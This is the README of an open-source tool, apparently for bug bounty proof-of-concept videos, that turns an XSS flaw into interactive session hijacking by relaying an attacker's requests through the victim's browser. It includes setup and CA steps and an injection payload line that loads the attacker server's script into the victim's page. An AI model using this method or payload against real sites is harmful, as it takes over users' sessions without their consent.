/Session-Hijacking-Visual-Exploitation-Python-Version

A python implementation of doyensec/Session-Hijacking-Visual-Exploitation

Primary LanguagePython

Session Hijacking Visual Exploitation - Python Version

What is this project ?

This project is inspired by SHVE by doyensec, but with a few modifications.

The goal of the project is to be able to exploit an XSS vulnerability more visually. It proxify every requests made by the attacker and play them inside the victim's browser using XHR. This way, even if the cookies are httponly, you can still exploit the victim's session.

Why this project ?

In self-hosted bug bounty programs, it is really common that the program manager close a report because the XSS you reported seems to be harmless. In order to alert the program manager, you generally need to make a short video showing your payload in action, what it did and what you can do with it.

This can be really frustating to do, especially since that your video has to be short enough so that the program manager does not feel that he is wasting his time (already experienced it, itis really frustrating).

With this project, you turn your XSS without session cookie stealing into a visual XSS which looks just like an XSS with session cookie stealing

What are the requirements ?

  • Target website must not have CSP value for connect-src (or default-src)
  • Target website sould have at least CSP value frame-ancestors to self
  • You will not be able to do anything more than your XSS. The only thing this project adds is the visual interaction of the attacker. So if your XSS cannot trigger anything because of a correct CORS policy or CSP rules, this project won't help you.

Note that the second point is not required, but if not present the connexion will be closed everytime the client changes of page. So it is not viable as a complete exploit, but it's okay for a video POC. Javascript payload should be adapted if you want to do this anyway.

Why re-creating a project instead of contributing to the original ?

Because of personal opinions :

  • I do not like nodeJS for tooling : a lot of dependencies, not installed by default on a lot of distros (unlike python)
  • I do not need a "Visual Mode" : I admit Visual Mode is very funny, and a bit impressive regarding how it works, but in a bug bounty perspective, I don't consider it very powerful (unlike Interactive mode)
  • I want to customize my tool however I want, without making a PR : "Then why didn't you just forked the project ?" --> Read the first item of this list
  • I do not like the "Custom Browser" of the original project : I already have a browser on my computer, you already have a browser on your computer, everyone already have a browser on his/her computer. Why re-creating one, which does not have all the awesome devtools ?

What are the differences between this project and the original ?

The pros (according to me) :

  • This project is written in python, and has only 3 libs inside requirements.txt
  • On original project, when loading huge files (.js, .jpg, .png, etc...), the request does not get proxified and are made directly from the attacker computer. This makes the pages load a lot faster, BUT sometimes you do not want to do that. In this project, this is an option, and you can list which files you want to proxify.
  • If you load a .jpg file, but to get the file you need client authentication, in the original project it doesn't work. On this project, you can force proxification if a request get a bad answer : you try to load huge content (images, javascript) without proxification to speed up the page loading, but if you need an authentication, these requests are automatically proxified.
  • A few bug correction

The cons :

  • This project does not have a "visual mode"
  • No authentication : I only use it for pocs for bug bounty on my own computer. You should not run it on your server over the internet since there is not any authentication for the hacker.
  • No WSS : I suppose it would not be hard to add, but it works well with WS, and it is not an issue since I am only using this on my localhost.
  • Probably bugs that the original version does not have. But I don't know, it seems to be working pretty well.
  • My project is awefully designed (I am not a dev, and remember it is only here to shoot POC videos). It should not handle more than one connexion on the same domain name. But I can't see any legal scenario in which you want to handle multiple connexion on the same website ;)

Installation

Step 1 : Dependencies

You need to install python3 on your computer.

Then, you need to create a venv using python. Go inside the project directory.

On Linux

python -m venv env

source env/bin/activate

pip install -R requirements.txt

On Windows

You need to have python and pip install and added to your PATH environnement variable.

python -m venv env

If you are using cmd : env\Scripts\activate.bat

Else, if you are using Powershell : env\Scripts\Activate.ps1

pip install -R requirements.txt

Step 2 : Generate the CA

Proxy CA

Since the attacker needs to proxify his requests, we need an Certificate authority able to sign certificates on the fly in order to not break the HTTPS protocol. Here is how to generateand use it :

cd certificates

openssl req -config openssl-proxy.conf -newkey rsa -x509 -days 365 -out CA_proxy.crt

You can press enter to leave the default values (recommanded).

On linux : cat cakey_proxy.pem CA_proxy.crt > mitmproxy-ca.pem

Webserver certificate

cd certificates

Then, generate the certificate for the webserver :

openssl req -config openssl-webserver.conf -newkey rsa -x509 -days 365 -out CA_webserver.crt

You can press enter to leave the default values (recommanded).

Step 3 : Add the CA to browser

You now need to add both of the certificate to the attacker browser.

On Firefox :

Settings --> Certificates --> View certificates --> Authorities --> Import certificate

Then, select the CA_proxy.crt file. Make sure to tick the box "Trust this CA to identify websites"

If you want to delete it afterward, delete both of the certificates under "SHVE-python".

On Chromium :

Settings --> Security --> Manage certificates --> Authorities --> Import

Then, select the CA_proxy.crt file. Make sure to tick the box "Trust this certificate for identifying websites"

If you want to delete it afterward, delete both of the certificates under "org-SHVE-python".

How to use

Configuration

The file config.json contains a working configuration. You can edit it if you want. Here are a few things to know :

  • proxy.do_not_proxify.extensions : when hacker is making a request ending by one of the extensions listed, the request will not be followed to the victim : it will be made directly from the computer of the attacker in order to win time
  • proxy.do_not_proxify.sec_fetch_dest : same thing that extensions, but for client header Sec-Fetch-Dest. Useful for APIs loading file without extensions inside the path for example.
  • proxy.do_not_proxify.domains : same thing, but for domains
  • proxy.do_not_proxify.urls : same thing, but for specific URLs
  • proxy.do_not_proxify.force_proxify_on_errors : If a non-proxified request gets an answer between 300 and 500, it will replay the request but will force it to go through the client browser. It is usefull when some files needs an authentification to be loaded.

Running

First, start the server : python server.py

You need to configure a proxy inside of the attacker browser. I strongly recommand using PwnFox on Firefox, but you can also configure your proxy manually inside firefox parameters.

Through this proxy, you need to go to the URL of the web server that you configured (https://localhost:5000 by default). Do not forget the https://. You should get a security warning, because you are using a self-signed certificate, but you can continue anyway.

Then, trigger your XSS on the victim's browser. Of course, do not proxify the victim's browser : in a real life situation, the victim should not have any configuration to make. Just trigger the XSS with this payload for example : <script src=https://localhost:5000/static/payload.js>.

Finally, on the hacker browser : refresh the page and you should see a new session (if the website follows the requirement listed at the beginning of the README). You can then clic on the red button, which should open a new window (which has to be proxified too). You can now use the website you are targeting as the victim !